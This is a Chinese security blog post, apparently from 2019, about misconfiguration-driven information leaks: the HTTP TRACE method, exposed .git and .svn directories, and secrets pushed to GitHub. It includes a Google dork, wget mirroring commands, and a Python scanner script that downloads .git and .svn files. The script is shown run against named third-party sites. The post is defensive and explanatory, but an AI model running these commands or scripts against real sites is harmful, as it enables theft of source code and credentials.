前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全之配置不当信息泄露

安全之配置不当信息泄露

作者头像
全栈工程师修炼指南
发布2022-09-28 21:11:16
5280
发布2022-09-28 21:11:16
举报
文章被收录于专栏:全栈工程师修炼之路

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

[TOC]

0x00 前言

信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。

配置不当的分类:

  • (1)WEBserver本身:之前发生的nginx等解析漏洞webserver的目录遍历等。
  • (2)网络协议相关:snmp弱community、dns域传送、ssh等。
  • (3)应用服务相关:压缩文件,备份文件,其他如日志history、phpinfo等,zabbix,jenkins、phpmyadmin、hadoop等。
  • (4)系统服务相关:之前暴露的openssl心脏滴血,破壳等。
  • (5)人员安全意识:在部署项目的时候 svn,git 信息泄露可导致代码泄露。

0x01 配置不当的防范

(1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。 (2)对线上业务进行定时检查(培训+监控,辅助扫描)。 (3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。

补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件,通过它实现对数据的采集和管理


0x03 实用案例

TRACE方法信息泄露 漏洞名称:检测到目标服务器启用了TRACE方法 详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。

启用TRACE方法存在如下风险:

  • 1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息,如缓存服务器等,从而为进一步的攻击提供便利。
  • 2、恶意攻击者可以通过TRACE方法进行XSS攻击。
  • 3、即使网站对关键页面启用了HttpOnly头标记和禁止脚本读取cookie信息,但是通过TRACE 方法恶意攻击者还是可以绕过这个限制读取到cookie信息。

解决办法: 1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。 2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:

代码语言:javascript
复制
RewriteEngine On 
RewriteCond %{REQUEST_METHOD} ^TRACE 
RewriteRule .* - [F]

.git /.svn 泄露源代码信息 漏洞名称:.git / .svn 配置不当导致源代码泄露 如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。 Google语法查找:

代码语言:javascript
复制
".git" intitle:"Index of"

Wget命令下载镜像查看

代码语言:javascript
复制
wget --mirror --include-directories=/.git http://10.10.17.222/test/.git/
wget --no-check-certificate --mirror --include-directories=/.git https://wvvdey-8080-ooqzry.dev.ide.live/.git
#ubuntu@WeiyiGeek:~/10.10.17.222/test/.git$ index.html #克隆镜像到本地
WeiyiGeek.下载get的config
WeiyiGeek.下载get的config

WeiyiGeek.下载get的config

在svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,在svn1.7之后的版本通过访问.svn/wc.db ,存在一个SQLite数据库文件里面

代码语言:javascript
复制
wget --mirror --include-directories=/.svn http://xxx.com/.svn
auxiliary/scanner/http/svn_scanner       #<1.6
auxiliary/scanner/http/svn_wcdb_scanner  #>1.7

#如果采用sqlite3查看数据库  sqlite3.exe .svn/wc.db "select * from work _queue"
python gitsvnScan.py http://ricewater.cn/
python gitsvnScan.py http://ftp.yx56.cn/codebase/imgs
[!] .svn/entries写入成功
[!] .svn/wc.db 写入成功

利用代码下载:

代码语言:javascript
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : gitsvnScan.py
# @CreateTime : 2019/7/17 9:40
# @Author : WeiyiGeek
# @Function : git与svn信息泄露扫描
# @Software: PyCharm
import sys
import requests

def git(url):
    try:
        g = requests.get(url+'config', timeout=5)
    except Exception as e:
        print("[*] 请求失败"+str(e))
    with open('gitconfig.txt','w') as config:
        config.writelines(g.text)
        print("[!] .git/config写入成功")


def svn(url):
    try:
        s = requests.get(url+'entries', timeout=5)
    except Exception as e:
        print("[*] 请求失败"+str(e))

    if (s.status_code == 200):
        with open('svnentries.txt','w') as config:
            config.writelines(s.text)
            print("[!] .svn/entries写入成功")

    try:
        s = requests.get(url + 'wc.db', timeout=5)
    except Exception as e:
        print("[*] 请求失败" + str(e))

    if (s.status_code == 200):
        with open('wc.db', 'wb') as config:
            config.write(s.content)
            print("[!] .svn/wc.db 写入成功")


def main(url):
    gitPath = url+'/.git/'
    svnPath = url+'/.svn/'
    try:
        g = requests.get(gitPath, timeout=5)
    except Exception as e:
        print("[*] 请求失败"+str(e))
    if (g.status_code == 200):
        git(gitPath)

    try:
        s = requests.get(svnPath, timeout=5)
    except Exception as e:
        print("[*] 请求失败" + str(e))
    if (s.status_code == 200):
        svn(svnPath)
    else:
        print("URL:", g.url, " status_code:", g.status_code)
        print("URL:", s.url, " status_code:", s.status_code)
        print("[*] 该站点不存在/.git或者/.svn信息泄露")


if __name__ == '__main__':
    if len(sys.argv) <= 1:
        print("usage: gitsvnScan.py http://url.com")
        sys.exit(1)
    main(str(sys.argv[1]))

github 信息泄露 GitHub 的私有仓库是需要花钱才能使用,大部分程序员使用的公共仓库,这就意味着任何人都能查看到你上传的文件,如果文件里包含敏感信息,那么将会造成以下安全隐患:

(1).如果是公司各种应用服务的登陆凭证,黑客可以轻而易举的进入内部人员访问区域,并获取到内部才能获得的信息。 (2).如果是公司的 web 项目代码,黑客可以通过代码审计,更容易的挖掘出漏洞来攻击公司网络。 (3).如果是公司的核心技术代码,可能会被商业竞争对手盗去,对公司造成经济上的损失。 还有就是有些公司直接使用开源项目的代码进行部署,没有对项目代码进行安全审核,如果该开源项目中包含了攻击者的恶意代码,也将会对公司造成安全隐患。

GitHub给开发者来方便的同时存在哪些安全隐患问题:

  • ①账号密码泄露(公司邮箱、联系人通讯录、办公vpn等)
  • ②核心算法泄露(系统、软件被破解)
  • ③API_KEY泄露(利用接口进行攻击等)
  • ④服务器key、配置泄露(危害服务器安全)
  • ⑤源码泄露(代码被审计,可能被人搞0day)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 配置不当的防范
  • 0x03 实用案例
相关产品与服务
轻量应用服务器
轻量应用服务器(TencentCloud Lighthouse)是新一代开箱即用、面向轻量应用场景的云服务器产品,助力中小企业和开发者便捷高效的在云端构建网站、Web应用、小程序/小游戏、游戏服、电商应用、云盘/图床和开发测试环境,相比普通云服务器更加简单易用且更贴近应用,以套餐形式整体售卖云资源并提供高带宽流量包,将热门软件打包实现一键构建应用,提供极简上云体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档